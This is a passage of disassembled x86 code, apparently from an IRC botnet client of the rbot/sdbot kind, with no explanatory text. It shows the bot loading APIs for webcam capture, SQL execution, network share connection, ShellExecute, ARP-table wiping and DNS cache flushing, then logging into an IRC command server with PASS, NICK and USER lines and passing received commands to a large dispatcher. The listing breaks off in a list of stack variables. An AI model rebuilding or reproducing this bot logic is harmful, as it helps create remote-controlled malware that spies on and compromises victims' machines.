; ---------------------------------------------------------------------------
loc_401D3B: ; CODE XREF: sub_4012D6+969j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442A0, eax
loc_401D46: ; CODE XREF: sub_4012D6+A11j
; sub_4012D6+A19j ...
mov dword_44429C, 1
loc_401D50: ; CODE XREF: sub_4012D6+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401D85
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4441F0, eax
call esi ; GetProcAddress
cmp dword_4441F0, ebx
mov dword_44416C, eax
jz short loc_401D90
cmp eax, ebx
jnz short loc_401D9A
jmp short loc_401D90
; ---------------------------------------------------------------------------
loc_401D85: ; CODE XREF: sub_4012D6+A85j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442A8, eax
loc_401D90: ; CODE XREF: sub_4012D6+AA7j
; sub_4012D6+AADj
mov dword_4442A4, 1
loc_401D9A: ; CODE XREF: sub_4012D6+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401DCF
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_44410C, eax
call esi ; GetProcAddress
cmp dword_44410C, ebx
mov dword_444174, eax
jz short loc_401DDA
cmp eax, ebx
jnz short loc_401DE4
jmp short loc_401DDA
; ---------------------------------------------------------------------------
loc_401DCF: ; CODE XREF: sub_4012D6+ACFj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442B0, eax
loc_401DDA: ; CODE XREF: sub_4012D6+AF1j
; sub_4012D6+AF7j
mov dword_4442AC, 1
loc_401DE4: ; CODE XREF: sub_4012D6+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401E43
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4441AC, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_444240, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4440D8, eax
call esi ; GetProcAddress
cmp dword_4441AC, ebx
mov dword_444090, eax
jz short loc_401E4E
cmp dword_444240, ebx
jz short loc_401E4E
cmp dword_4440D8, ebx
jz short loc_401E4E
cmp eax, ebx
jnz short loc_401E58
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E43: ; CODE XREF: sub_4012D6+B19j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442B8, eax
loc_401E4E: ; CODE XREF: sub_4012D6+B55j
; sub_4012D6+B5Dj ...
mov dword_4442B4, 1
loc_401E58: ; CODE XREF: sub_4012D6+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401E8D
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_444214, eax
call esi ; GetProcAddress
cmp dword_444214, ebx
mov dword_4440D0, eax
jz short loc_401E98
cmp eax, ebx
jnz short loc_401EA2
jmp short loc_401E98
; ---------------------------------------------------------------------------
loc_401E8D: ; CODE XREF: sub_4012D6+B8Dj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442C0, eax
loc_401E98: ; CODE XREF: sub_4012D6+BAFj
; sub_4012D6+BB5j
mov dword_4442BC, 1
loc_401EA2: ; CODE XREF: sub_4012D6+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401F2B
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4441F8, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4440B4, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_444210, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_444128, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4441BC, eax
call esi ; GetProcAddress
cmp dword_4441F8, ebx
mov dword_4440C4, eax
jz short loc_401F36
cmp dword_4440B4, ebx
jz short loc_401F36
cmp dword_444210, ebx
jz short loc_401F36
cmp dword_444128, ebx
jz short loc_401F36
cmp dword_4441BC, ebx
jz short loc_401F36
cmp eax, ebx
jnz short loc_401F40
jmp short loc_401F36
; ---------------------------------------------------------------------------
loc_401F2B: ; CODE XREF: sub_4012D6+BD7j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442C8, eax
loc_401F36: ; CODE XREF: sub_4012D6+C2Dj
; sub_4012D6+C35j ...
mov dword_4442C4, 1
loc_401F40: ; CODE XREF: sub_4012D6+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401F75
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_444138, eax
call esi ; GetProcAddress
cmp dword_444138, ebx
mov dword_44419C, eax
jz short loc_401F80
cmp eax, ebx
jnz short loc_401F8A
jmp short loc_401F80
; ---------------------------------------------------------------------------
loc_401F75: ; CODE XREF: sub_4012D6+C75j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov dword_4442D0, eax
loc_401F80: ; CODE XREF: sub_4012D6+C97j
; sub_4012D6+C9Dj
mov dword_4442CC, 1
loc_401F8A: ; CODE XREF: sub_4012D6+C9Bj
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
retn
sub_4012D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401F92(int,char *Str,int,int)
sub_401F92 proc near ; CODE XREF: sub_40274D+2349p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+Str]
push esi
xor esi, esi
cmp dword_444264, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_401FDA
push dword_444268
lea eax, [ebp+Dest]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_401FDA: ; CODE XREF: sub_401F92+1Aj
cmp dword_44426C, esi
jz short loc_40200E
push dword_444270
lea eax, [ebp+Dest]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_40200E: ; CODE XREF: sub_401F92+4Ej
cmp dword_444274, esi
jz short loc_402042
push dword_444278
lea eax, [ebp+Dest]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_402042: ; CODE XREF: sub_401F92+82j
cmp dword_44427C, esi
jz short loc_402076
push dword_444280
lea eax, [ebp+Dest]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_402076: ; CODE XREF: sub_401F92+B6j
cmp dword_444284, esi
jz short loc_4020AA
push dword_444288
lea eax, [ebp+Dest]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_4020AA: ; CODE XREF: sub_401F92+EAj
cmp dword_44428C, esi
jz short loc_4020DE
push dword_444290
lea eax, [ebp+Dest]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_4020DE: ; CODE XREF: sub_401F92+11Ej
cmp dword_444294, esi
jz short loc_402112
push dword_444298
lea eax, [ebp+Dest]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_402112: ; CODE XREF: sub_401F92+152j
cmp dword_44429C, esi
jz short loc_402146
push dword_4442A0
lea eax, [ebp+Dest]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_402146: ; CODE XREF: sub_401F92+186j
cmp dword_4442A4, esi
jz short loc_40217A
push dword_4442A8
lea eax, [ebp+Dest]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_40217A: ; CODE XREF: sub_401F92+1BAj
cmp dword_4442AC, esi
jz short loc_4021AE
push dword_4442B0
lea eax, [ebp+Dest]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_4021AE: ; CODE XREF: sub_401F92+1EEj
cmp dword_4442B4, esi
jz short loc_4021E2
push dword_4442B8
lea eax, [ebp+Dest]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_4021E2: ; CODE XREF: sub_401F92+222j
cmp dword_4442BC, esi
jz short loc_402216
push dword_4442C0
lea eax, [ebp+Dest]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_402216: ; CODE XREF: sub_401F92+256j
cmp dword_4442C4, esi
jz short loc_40224A
push dword_4442C8
lea eax, [ebp+Dest]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_40224A: ; CODE XREF: sub_401F92+28Aj
cmp dword_4442CC, esi
jz short loc_40227E
push dword_4442D0
lea eax, [ebp+Dest]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
loc_40227E: ; CODE XREF: sub_401F92+2BEj
lea eax, [ebp+Dest]
push offset asc_42BF4C ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_4022AB
push esi ; int
push edi ; int
lea eax, [ebp+Dest]
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_4022AB: ; CODE XREF: sub_401F92+302j
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_401F92 endp
; =============== S U B R O U T I N E =======================================
sub_4022BD proc near ; CODE XREF: sub_4025EF+136p
; sub_40274D+59AFp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_4022E5
push [esp+arg_0]
call dword_444168 ; gethostbyname
test eax, eax
jnz short loc_4022DE
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4022DE: ; CODE XREF: sub_4022BD+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_4022E5: ; CODE XREF: sub_4022BD+Dj
retn
sub_4022BD endp
; =============== S U B R O U T I N E =======================================
sub_4022E6 proc near ; CODE XREF: sub_4025EF+A2p
mov ecx, dword_4441F0
xor eax, eax
test ecx, ecx
jz short locret_4022F4
jmp ecx
; ---------------------------------------------------------------------------
locret_4022F4: ; CODE XREF: sub_4022E6+Aj
retn
sub_4022E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_4022F5 proc near ; CODE XREF: sub_40274D:loc_4049BFp
Dest = byte ptr -88h
Size = dword ptr -8
var_4 = dword ptr -4
push ebp
lea ebp, [esp-78h]
sub esp, 88h
push ebx
push esi
push edi
xor ebx, ebx
inc ebx
push ebx
lea eax, [ebp+78h+Size]
xor edi, edi
push eax
push edi
xor esi, esi
mov [ebp+78h+Size], edi
mov [ebp+78h+var_4], ebx
call dword_44410C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40237B
sub ecx, 32h
jz loc_4023C2
sub ecx, 48h
jz short loc_402350
sub ecx, 6Eh
jz short loc_402349
loc_402335: ; CODE XREF: sub_4022F5+84j
push eax
lea eax, [ebp+78h+Dest]
push offset asc_42C160 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4023A3
; ---------------------------------------------------------------------------
loc_402349: ; CODE XREF: sub_4022F5+3Ej
push offset unk_42C13C
jmp short loc_402398
; ---------------------------------------------------------------------------
loc_402350: ; CODE XREF: sub_4022F5+39j
push [ebp+78h+Size] ; Size
call _malloc
push [ebp+78h+Size] ; Size
mov esi, eax
push edi ; Val
push esi ; Dst
call _memset
add esp, 10h
cmp esi, edi
jz short loc_402393
push ebx
lea eax, [ebp+78h+Size]
push eax
push esi
call dword_44410C ; GetIpNetTable
cmp eax, edi
jnz short loc_402335
loc_40237B: ; CODE XREF: sub_4022F5+2Bj
cmp [esi], edi
jbe short loc_4023B0
lea ebx, [esi+4]
loc_402382: ; CODE XREF: sub_4022F5+9Aj
push ebx
call dword_444174 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_402382
jmp short loc_4023B0
; ---------------------------------------------------------------------------
loc_402393: ; CODE XREF: sub_4022F5+74j
push offset asc_42C10C ; "-"
loc_402398: ; CODE XREF: sub_4022F5+59j
; sub_4022F5+D2j
lea eax, [ebp+78h+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4023A3: ; CODE XREF: sub_4022F5+52j
lea eax, [ebp+78h+Dest]
push eax
mov [ebp+78h+var_4], edi
call sub_417D70
pop ecx
loc_4023B0: ; CODE XREF: sub_4022F5+88j
; sub_4022F5+9Cj
push esi ; Memory
call _free
mov eax, [ebp+78h+var_4]
pop ecx
pop edi
pop esi
pop ebx
add ebp, 78h
leave
retn
; ---------------------------------------------------------------------------
loc_4023C2: ; CODE XREF: sub_4022F5+30j
push offset unk_42C0DC
jmp short loc_402398
sub_4022F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4023C9 proc near ; CODE XREF: sub_40274D+2037p
; sub_40274D+2162p ...
Dst = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
push eax ; Size
mov [ebp+var_4], eax
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_444068 ; getsockname
movzx eax, [ebp+var_D]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
mov esi, offset Dest
push esi ; Dest
call _sprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_4023C9 endp
; =============== S U B R O U T I N E =======================================
sub_402422 proc near ; CODE XREF: sub_415825+29Fp
; sub_415825+2D9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40244D
lea eax, [ecx-2]
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+4+arg_0]
push edi
loc_402440: ; CODE XREF: sub_402422+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_402440
pop edi
jmp short loc_402451
; ---------------------------------------------------------------------------
loc_40244D: ; CODE XREF: sub_402422+Aj
mov esi, [esp+4+arg_0]
loc_402451: ; CODE XREF: sub_402422+29j
test ecx, ecx
jz short loc_40245A
movzx eax, byte ptr [esi]
add edx, eax
loc_40245A: ; CODE XREF: sub_402422+31j
mov ecx, edx
shr ecx, 10h
and edx, 0FFFFh
add ecx, edx
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
pop esi
retn
sub_402422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=58h
sub_402472 proc near ; CODE XREF: sub_4025EF+E0p
Dst = byte ptr -1A90h
var_A90 = dword ptr -0A90h
Str1 = byte ptr -2C0h
var_140 = dword ptr -140h
Str = byte ptr -0A0h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov eax, 1A90h
lea ebp, [esp-58h]
call __alloca_probe
push esi
xor esi, esi
push 3
mov [ebp+58h+var_8], esi
lea eax, [ebp+58h+Str1]
pop ecx
loc_402490: ; CODE XREF: sub_402472+27j
mov byte ptr [eax], 0
add eax, 80h
dec ecx
jnz short loc_402490
cmp byte_4D1FD8, 0
jz short loc_4024B9
push offset byte_4D1FD8 ; Args
push offset aPassS ; "PASS %s\r\n"
push [ebp+58h+arg_0] ; int
call sub_4011F5
add esp, 0Ch
loc_4024B9: ; CODE XREF: sub_402472+30j
push [ebp+58h+Source]
lea eax, [ebp+58h+Dest]
push esi ; Str1
push esi ; int
push 2 ; int
push eax ; Dest
call sub_40AB83
add esp, 10h
push eax
push [ebp+58h+Source]
lea eax, [ebp+58h+Str]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+58h+Str]
push esi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+58h+Str]
push eax
push [ebp+58h+arg_0]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40251A
push [ebp+58h+arg_0]
call dword_444218 ; closesocket
push 1388h
call ds:dword_42B014 ; Sleep
xor eax, eax
jmp loc_4025E9
; ---------------------------------------------------------------------------
loc_40251A: ; CODE XREF: sub_402472+8Bj
push ebx
push edi
mov ebx, 1000h
jmp loc_4025B0
; ---------------------------------------------------------------------------
loc_402526: ; CODE XREF: sub_402472+163j
lea eax, [ebp+58h+var_A90]
push eax ; int
lea eax, [ebp+58h+Dst]
push eax ; Str
call sub_41AC0E
cmp eax, esi
pop ecx
pop ecx
mov [ebp+58h+var_C], eax
mov [ebp+58h+var_4], esi
jle short loc_4025B0
lea edi, [ebp+58h+var_A90]
loc_40254B: ; CODE XREF: sub_402472+13Aj
xor esi, esi
inc esi
loc_40254E: ; CODE XREF: sub_402472+11Dj
push [ebp+58h+arg_1C] ; int
lea eax, [ebp+58h+var_8]
push esi ; int
push eax ; int
lea eax, [ebp+58h+var_140]
push eax ; int
lea eax, [ebp+58h+Str1]
push eax ; Str1
push [ebp+58h+arg_18] ; int
push [ebp+58h+Source] ; Source
push [ebp+58h+arg_8] ; int
push [ebp+58h+arg_4] ; int
push [ebp+58h+arg_0] ; int
push dword ptr [edi] ; int
call sub_40274D
add esp, 2Ch
dec eax
mov esi, eax
test esi, esi
jle short loc_402591
push 7D0h
call ds:dword_42B014 ; Sleep
jmp short loc_40254E
; ---------------------------------------------------------------------------
loc_402591: ; CODE XREF: sub_402472+110j
cmp esi, 0FFFFFFFDh
jz short loc_4025E4
cmp esi, 0FFFFFFFEh
jz short loc_4025DF
cmp esi, 0FFFFFFFFh
jz short loc_4025DB
inc [ebp+58h+var_4]
mov eax, [ebp+58h+var_4]
add edi, 4
cmp eax, [ebp+58h+var_C]
jl short loc_40254B
xor esi, esi
loc_4025B0: ; CODE XREF: sub_402472+AFj
; sub_402472+D1j
push ebx ; Size
lea eax, [ebp+58h+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push esi
push ebx
lea eax, [ebp+58h+Dst]
push eax
push [ebp+58h+arg_0]
call dword_444064 ; recv
test eax, eax
jg loc_402526
loc_4025DB: ; CODE XREF: sub_402472+12Cj
xor eax, eax
jmp short loc_4025E7
; ---------------------------------------------------------------------------
loc_4025DF: ; CODE XREF: sub_402472+127j
xor eax, eax
inc eax
jmp short loc_4025E7
; ---------------------------------------------------------------------------
loc_4025E4: ; CODE XREF: sub_402472+122j
push 2
pop eax
loc_4025E7: ; CODE XREF: sub_402472+16Bj
; sub_402472+170j
pop edi
pop ebx
loc_4025E9: ; CODE XREF: sub_402472+A3j
pop esi
add ebp, 58h
leave
retn
sub_402472 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_4025EF proc near ; CODE XREF: WinMain(x,x,x,x)+4D0p
; DATA XREF: sub_40274D+6340o
var_190 = dword ptr -190h
Args = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dst = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 190h
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_190]
rep movsd
mov dword ptr [eax+160h], 1
jmp loc_4026FB
; ---------------------------------------------------------------------------
loc_40261B: ; CODE XREF: sub_4025EF+141j
push 1Ch ; Size
lea eax, [ebp+74h+Dst]
push 0 ; Val
push eax ; Dst
call _memset
push 0 ; Str1
push dword_43C098 ; int
lea eax, [ebp+74h+Dst]
push dword_43C094 ; int
push eax ; Dest
call sub_40AB83
mov edi, eax
mov eax, [ebp+74h+var_34]
imul eax, 234h
push 1Bh ; Count
add eax, offset byte_444500
push edi ; Source
push eax ; Dest
call _strncpy
add esp, 28h
push 6
push 1
push 2
call dword_444100 ; socket
mov esi, eax
mov eax, [ebp+74h+var_34]
imul eax, 234h
mov dword_4444F4[eax], esi
push 10h
lea eax, [ebp+74h+var_10]
push eax
push esi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40269D
push esi
call dword_444218 ; closesocket
call sub_4022E6
push 7D0h
jmp short loc_4026EE
; ---------------------------------------------------------------------------
loc_40269D: ; CODE XREF: sub_4025EF+99j
lea eax, [ebp+74h+Args]
push eax ; Args
push offset asc_42C830 ; "-"
call sub_417DE4
push [ebp+74h+var_38]
lea eax, [ebp+74h+Args]
push eax
lea eax, [ebp+74h+var_8C]
push eax
push [ebp+74h+var_190]
lea eax, [ebp+74h+var_CC]
push edi
push eax
lea eax, [ebp+74h+var_10C]
push eax
push esi
call sub_402472
add esp, 28h
push esi
mov edi, eax
call dword_444218 ; closesocket
test edi, edi
jz short loc_4026FB
cmp edi, 1
jnz short loc_4026F6
push 0DBBA0h
loc_4026EE: ; CODE XREF: sub_4025EF+ACj
call ds:dword_42B014 ; Sleep
jmp short loc_4026FB
; ---------------------------------------------------------------------------
loc_4026F6: ; CODE XREF: sub_4025EF+F8j
cmp edi, 2
jz short loc_402738
loc_4026FB: ; CODE XREF: sub_4025EF+27j
; sub_4025EF+F3j ...
push 10h ; Size
lea eax, [ebp+74h+var_10]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+74h+var_3C]
mov [ebp+74h+var_10], 2
call dword_444260 ; htons
mov [ebp+74h+var_E], ax
lea eax, [ebp+74h+Args]
push eax
call sub_4022BD
test eax, eax
pop ecx
mov [ebp+74h+var_C], eax
jnz loc_40261B
jmp short loc_402744
; ---------------------------------------------------------------------------
loc_402738: ; CODE XREF: sub_4025EF+10Aj
push [ebp+74h+var_34]
call sub_40B149
pop ecx
push 2
pop eax
loc_402744: ; CODE XREF: sub_4025EF+147j
pop edi
pop esi
add ebp, 74h
leave
retn 4
sub_4025EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=4Ch
; int __cdecl sub_40274D(int,int,int,int,char *Source,int,char *Str1,int,int,int,int)
sub_40274D proc near ; CODE XREF: sub_402472+103p
var_5DEC = dword ptr -5DECh
var_5D90 = dword ptr -5D90h
var_5990 = byte ptr -5990h
var_5590 = byte ptr -5590h
var_5400 = byte ptr -5400h
var_5200 = byte ptr -5200h
var_50FC = byte ptr -50FCh
FullPath = byte ptr -4FFCh
var_4EF8 = byte ptr -4EF8h
var_4DF8 = byte ptr -4DF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
Str = byte ptr -4AF8h
var_48F8 = byte ptr -48F8h
var_47F4 = byte ptr -47F4h
var_46F4 = byte ptr -46F4h
var_45F4 = dword ptr -45F4h
var_4590 = byte ptr -4590h
var_4390 = byte ptr -4390h
var_4290 = byte ptr -4290h
var_4190 = byte ptr -4190h
var_4090 = byte ptr -4090h
var_3F90 = dword ptr -3F90h
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E88 = byte ptr -3E88h
var_3E08 = byte ptr -3E08h
var_3D88 = byte ptr -3D88h
var_3D08 = dword ptr -3D08h
var_3D04 = dword ptr -3D04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = byte ptr -3CF8h
var_3C78 = byte ptr -3C78h
var_3B74 = byte ptr -3B74h
var_3A70 = dword ptr -3A70h
var_3A6C = dword ptr -3A6Ch
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = byte ptr -3A5Ch
var_37D5 = byte ptr -37D5h
var_37D4 = byte ptr -37D4h
var_36D0 = dword ptr -36D0h
var_36C8 = dword ptr -36C8h
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B4 = dword ptr -36B4h
var_36B0 = dword ptr -36B0h
var_36AC = byte ptr -36ACh
var_362C = byte ptr -362Ch
var_35AC = byte ptr -35ACh
var_352C = byte ptr -352Ch
var_34AC = dword ptr -34ACh
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = byte ptr -3498h
var_3418 = byte ptr -3418h
var_3398 = byte ptr -3398h
var_3318 = byte ptr -3318h
var_3298 = dword ptr -3298h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = byte ptr -3284h
var_3204 = byte ptr -3204h
var_3184 = byte ptr -3184h
var_3104 = byte ptr -3104h
var_3084 = dword ptr -3084h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = byte ptr -3070h
var_2FF0 = byte ptr -2FF0h
var_2F70 = byte ptr -2F70h
var_2EF0 = byte ptr -2EF0h
var_2E70 = dword ptr -2E70h
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = byte ptr -2E60h
var_2D5C = dword ptr -2D5Ch
var_2D58 = byte ptr -2D58h
var_2C54 = byte ptr -2C54h
var_2B50 = dword ptr -2B50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = byte ptr -2B44h
var_2AC4 = dword ptr -2AC4h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
